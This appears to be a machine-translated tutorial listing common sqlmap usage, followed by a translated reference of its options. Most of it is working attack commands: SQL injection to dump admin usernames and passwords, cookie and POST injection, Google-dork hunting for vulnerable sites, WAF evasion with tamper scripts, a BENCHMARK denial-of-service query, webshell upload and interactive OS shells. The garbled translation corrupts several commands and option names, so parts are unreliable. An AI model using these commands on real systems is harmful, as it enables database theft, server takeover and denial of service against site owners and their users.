11 Common methods of Sqlmap use

Sqlmap is an injection tool commonly used in infiltration, in fact, in the injection of tools, a sqlmap is enough, as long as you use the cooked, seconds to kill all kinds of tools, just a convenience problem.

I.. SQLMAP for Access database injection
(1) Guess whether the solution can inject

Win:pythonsqlmap.py-u "Http://www.xxx.com/en/CompHonorBig.asp?id=7"

Linux:. Lmap.py-u "Http://www.xxx.com/en/CompHonorBig.asp?id=7"

(2) Guessing table

Win:python sqlmap.py-u "Http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

Linux:. Lmap.py-u "Http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

(3) The field of the guessing table according to the table of the guess (if you get the admin table by 2)

Win:python sqlmap.py-u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns-t admin

Linux:. Lmap.py-u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns-t admin

(4) According to the word Chichai solution content (if through 3 to get fields username and password)

Win:python sqlmap.py-u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump-t admin-c "Username,password"

Linux:. Lmap.py-u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump-t admin–c "Username,[url=]b[/url]password"

Second, Sqlmap for cookie injection

(1) Cookie injection, guessing table

Win:python sqlmap.py-u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31"--table--level 2

(2) Guess the field, (through 1 of the table to guess the field, if the table is Admin)

Win:p Ython sqlmap.py-u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31"--columns–t admin--level 2

(3) What to guess

Win:p Ython sqlmap.py-u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31"--dump–t admin-c "Username,password"--l Evel2

Iii. Sqlmap for DDoS attacks in MySQL (1) Get a shell

Win

Python Sqlmap.py-u[url]http://192.168.159.1/news.php?id=1[/url]--sql-shell

Linux:

Sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]--sql-shell

(2) Input execution statement complete DDoS attack

Select Benchmark (99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

Iv. sqlmap for MySQL injection

(1) Find a database

Python sqlmap.py-u "http://www.xxx.com/link.php?id=321"--dbs

(2) The first step of the Database lookup table (if the database name is Dataname)

Python sqlmap.py-u "http://www.xxx.com/link.php?id=321"-ddataname--tables

(3) by the table in 2 to obtain the column name (if the table is table_name)

Python sqlmap.py-u "http://www.xxx.com/link.php?id=321"-DDATANAME-T table_name--columns

(4) Get the value of the field (if the Id,user,password field is scanned)

Python sqlmap.py-u "http://www.xxx.com/link.php?id=321"-ddataname-t table_name–c "Id,user,password"--dump

Five, sqlmap in the Post login box injection

(1) The Search-test.txt is the package captured by the Grab Kit tool Burp Suite and save the data as this TXT file

When we use Sqlmap for post-type injection, there are often cases where a request is missed causing an injection failure. Here's a little tip to share: Using Sqlmap with Burpsuite, it's more accurate and easy to do post injection testing in this way.

1. The browser opens the destination address http:/www.xxx.com/Login.asp

2. Configure the Burp agent (127.0.0.1:8080) to intercept requests

3. Click the Submit button on the login form

4. Burp will intercept our login POST request at this time.

5. Copy this post request to TXT, which I named Search-test.txt and put it in the Sqlmap directory

6. Run the Sqlmap and use the following command:

./sqlmap.py-r Search-test.txt-p Tfupass

Here the parameter-R is let Sqlmap load our POST request Rsearch-test.txt, and the-p should be more familiar, specify the parameters for injection.

Injection point: http://testasp.vulnweb.com/Login.asp

Several injection methods:./sqlmap.py-r search-test.txt-p Tfupass

(2) Automatic search

Sqlmap-u[url]http://testasp.vulnweb.com/login.asp[/url]–forms

(3) Specify parametric search

Sqlmap-u [Url]http://testasp.vulnweb.com/login.asp[/url]--data "tfuname=321&tfupass=321"

Vi. Google search injection in Sqlmap

The language behind inurl is self-determined.

If y is injected during injection, if it is not selected n

Sqlmap-g inurl:php?id=

Vii. Request delay in Sqlmap

Parameter--delay--safe-freq

Python sqlmap.py--dbs-u "http://xxx.cn/index.php/Index/view/id/40.html"--delay 1

Python sqlmap.py--dbs-u "http://xxx.cn/index.php/Index/view/id/40.html"--safe-freq 3 parameters

Viii. Sqlmap bypassing the WAF firewall

Injection point: http://192.168.159.1/news.php?id=1

Sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]-V 3--dbs--batch--tamper "space2morehash.py"

space2morehash.py can replace space2hash.py or base64encode.py or charencode.py.

It's all coded.

space2hash.py base64encode.py charencode.py

Nine, Sqlmap View permissions
Sqlmap-u [Url]http://192.168.159.1/news.php?id=1[/url]--privileges

X. Pseudo static injection of Sqlmap

(1) Find a database

Python sqlmap.py-u "http://xxx.cn/index.php/Index/view/id/40.html" –dbs

(2) Find the corresponding table through the database in 1 (if pass 1, get Dataname)

Python sqlmap.py-u "http://xxx.cn/index.php/Index/view/id/40.html"-ddataname--tables

(3) Get the field by the data table in 2 (if the TableName table is obtained)

Python sqlmap.py-u "http://xxx.cn/index.php/Index/view/id/40.html"-ddataname–t tablename–columns

(4) Get the field value by 3 (if the field is obtained from 3 Id,password)

Python sqlmap.py-u "http://xxx.cn/index.php/Index/view/id/40.html"-ddataname–t tablename-c "password" –dump

Xi. sqlmap injection Point execution command and interactive write shell

(1) Injection point: http://192.168.159.1/news.php?id=1

The Linux system is used here

Sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]--os-cmd=ipconfig

Language selection based on the actual test Site selection language

Specify the target site d:/www/

(2) Get the shell

Sqlmap-u[url]http://192.168.159.1/news.php?id=1[/url]--os-shell
Language selection based on the actual test Site selection language

Specify the target site d:/www/

Input Ipconfig/all

Create Users and delete users

As long as the permissions are large enough, you can enter to use any command.

Other commands are referenced below:

Search fields from the database

Sqlmap-r "C:\tools\request.txt" –dbms mysql-d dedecms–search-c Admin,password

Search the DEDECMS database for the field admin or password.

Read and write files

First, you need to find the physical path of the site, followed by a writable or readable permission.

–file-read=rfile read files from the backend database management System file system (physical path)

–file-write=wfile edit a local file on the backend database management System file system (MSSQL Xp_shell)

The absolute path to the file written by the database management system on the –file-dest=dfile backend

#示例:

Sqlmap-r "C:\request.txt"-P Id–dbms mysql–file-dest "e:\php\htdocs\dvwa\inc\include\1.php" –file-write "f:\webshell\ 1112.php "

Using the shell command:

Sqlmap-r "C:\tools\request.txt"-p Id–dmsmysql–os-shell

Next specify the Web site writable directory:

"E:\php\htdocs\dvwa" #注: MySQL does not support column directories and only supports reading individual files. SQL Server can column directories, cannot read and write files, but requires one (Xp_dirtree function)

Sqlmap verbose command:

• · -IS-DBA Current user rights (Root permission)
• · -dbs all databases
• · -CURRENT-DB Web site Current database
• · -users All database Users
• · -current-user Current Database user
• · -random-agent structure Random User-agent
• · -passwords Database Password
• · -proxy http://local:8080–threads 10 (can customize thread acceleration) proxy
• · Delay time of-time-sec=timesec DBMS response (default is 5 seconds)

Options (optional):

• -version Display the program's version number and exit
• -H,–HELP displays this help message and exits
• -vverbose verbosity Level: 0-6 (default = 1)

Target: At least one of these options needs to be set below to set the destination URL.

• -ddirect connect directly to the database.
• -uurl,–url=url the destination URL.
• -llist resolves the target from the log of the burp or WebScarab agent.
• -rrequestfile loading an HTTP request from a file.
• -ggoogledork handles the results of Google dork as the destination URL.
• -cconfigfile load options from the INI configuration file.
  
  

Request: These options can be used to specify how to connect to the destination URL.

• -data=data data strings sent via post
• -cookie=cookiehttp Cookie Header
• -cookie-urlencodeurl encoding-generated cookie injection
• -drop-set-cookie Ignore Set–cookie header information for response
• -user-agent=agent specifying the HTTP user–agent header
• -random-agent using a randomly selected HTTP User–agent header
• -referer=referer specifying the HTTP referer header
• -headers=headers line break, add other HTTP headers
• -auth-type=atypehttp authentication type (base, digest, or NTLM) (Basic, Digest or NTLM)
• -auth-cred=acredhttp authentication Credentials (user name: password)
• -auth-cert=acerthttp Certificate (key_file,cert_file)
• -proxy=proxy using an HTTP proxy to connect to the destination URL
• -proxy-cred=pcredhttp Proxy authentication credentials (user name: password)
• -ignore-proxy ignoring the system default HTTP proxy
• -delay=delay delay time in seconds between each HTTP request
• -timeout=timeout time to wait for the connection to time out (default is 30 seconds)
• -retries=retries time the connection is reconnected after timeout (default 3)
• -scope=scope regular expression of filter targets from the provided agent log
• -safe-url=safurl URL addresses that are frequently accessed during testing
• -safe-freq=safreq test requests between two visits, give a secure URL

Enumeration (enumeration): These options can be used to enumerate the information of the backend database management system, the structure and data in the table. In addition, you can run your own SQL statement.

• -b,–banner retrieving the identity of the database management system
• -current-user Retrieving database management system Current user
• -CURRENT-DB Retrieving database management system current database
• -IS-DBA detecting whether the DBMS current user is DBA
• -users Enumerating Database management system users
• -passwords enumeration of database management system user password hashes
• -privileges enumerate the permissions of the database management system user
• -roles enumerating the roles of database management system users
• -dbs Enumeration Database Management System Database
• -ddbname the specified database name to be enumerated
• -ttblname The specified database table to be enumerated (for example:-ttablename–columns)
• -tables enumeration of tables in the DBMS database
• -columns Enumerating DBMS database table columns
• -dump the table entries in the database of the DUMP database management system
• -dump-all dumps all the entries in the DBMS database table
• -search Search column (s), table (s) and/or database name (s)
• -ccol the database column to be enumerated
• -uuser The database user that is used to enumerate
• -exclude-sysdbs to exclude system databases when enumerating tables
• -start=limitstart first query output into search
• -stop=limitstop the output of the last query into the search
• -first=firstchar character retrieval of the first query output word
• -last=lastchar the output character retrieval of the last query
• -sql-query=query the SQL statement to execute
• -sql-shell tips for Interactive SQL shell

Optimization (Optimization): These options can be used to optimize the performance of Sqlmap.

• -O Turn on all optimization switches
• –predict-output prediction of common query output
• –keep-alive using a persistent HTTP (S) connection
• –null-connection retrieving page lengths from no actual HTTP response body
• –threads=threads Maximum http (S) request concurrency (default = 1)

Injection (INJECTION): These options can be used to specify which parameters to test, provide custom injection payloads, and optional tamper scripts.

• -ptestparameter parameters to test (S)
• –dbms=dbms the DBMS of the forced backend for this value
• –os=os the DBMS operating system for the forced backend is this value
• –prefix=prefix Injecting payload String prefix
• –suffix=suffix Injecting payload string suffix
• –tamper=tamper using the given script (S) to tamper with the injected data

Detection (detection): These options can be used to specify how the content of the HTTP response page is parsed and compared when the SQL blinds.

• –level=level level of test Execution (1-5, default = 1)
• –risk=risk risk of performing tests (0-3, default = 1)
• –string=string when query is valid when the page matches a string
• –regexp=regexp a regular expression on a page when the query is valid
• –text-only based on comparing pages in text content only

Techniques: These options can be used to adjust specific SQL injection tests.

• –technique=techsql Injection Technology Test (default Beust)
• Delay Time of –time-sec=timesecdbms response (default is 5 seconds)
• –union-cols=ucols set range for test union query injection
• –union-char=uchar characters used for brute-force guessing of the number of columns

Fingerprint (fingerprint):

• · -f,–fingerprint perform check of extensive DBMS version thumbprint

Brute forces (brute force): These options can be used to run brute force checks.

• · –common-tables Check Existence common table
• · –common-columns Check existence Common column

user-defined function Injection (user-defined functions injection): These options can be used to create user-defined functions.

–udf-inject injecting user-defined functions

–shared-lib=shlib local path to shared library

File system access (accessing the FileSystem): These options can be used to access the underlying file system of the backend database management system.

• –file-read=rfile reading files from the backend database management System file system
• –file-write=wfile editing a local file on the backend database management System file system
• The absolute path to the file written by the database management system on the –file-dest=dfile backend

Operating system access: These options can be used to access the underlying operating system of the back-end database management system.

• –os-cmd=oscmd executing operating system commands
• –os-shell the shell of an interactive operating system
• –os-pwn get an OOB shell,meterpreter or VNC
• –os-smbrelay One-click to get an OOB shell,meterpreter or VNC
• –os-bof stored Procedure Buffer Overflow utilization
• –PRIV-ESC Database Process User privilege elevation
• –msf-path=msfpathmetasploit Framework Local Installation path
• –tmp-path=tmppath absolute path to remote temp file directory

Windows registry access: These options can be used to access the Windows registry of the backend database management system.

• –reg-read read a Windows registry key value
• –reg-add write a Windows registry key value data
• –reg-del deleting Windows registry key values
• –reg-key=regkeywindows registry key
• –reg-value=regvalwindows registry key Value
• –reg-data=regdatawindows registry key Value data
• –reg-type=regtypewindows registry key Value type
• These options can be used to set some general working parameters.
• -ttrafficfile log all HTTP traffic to a text file
• -ssessionfile saving and recovering all data retrieved from the session file
• –flush-session Refresh the current target session file
• –fresh-queries ignores query results stored in the session file
• –eta shows the estimated time of arrival for each output
• –update Update Sqlmap
• –savefile save options to ini config file
• –batch never asks for user input, and uses all default configurations.

Miscellaneous (Miscellaneous):

• –BEEP alert when SQL injection is found
• –check-payloadids testing of injected payloads
• –cleanupsqlmap specific UDF and table cleanup DBMS
• –forms parsing and testing of target URLs
• –gpage=googlepage using Google dork results from the specified page number
• –page-rankgoogle dork Results Show page rank (PR)
• –parse-errors parsing the database management system error message from the response page
• –replicate copy dump data to a sqlite3 database
• –tor using the default Tor (VIDALIA/PRIVOXY/POLIPO) proxy address
• –wizard Simple Wizard Interface for novice users

11 Common methods of Sqlmap use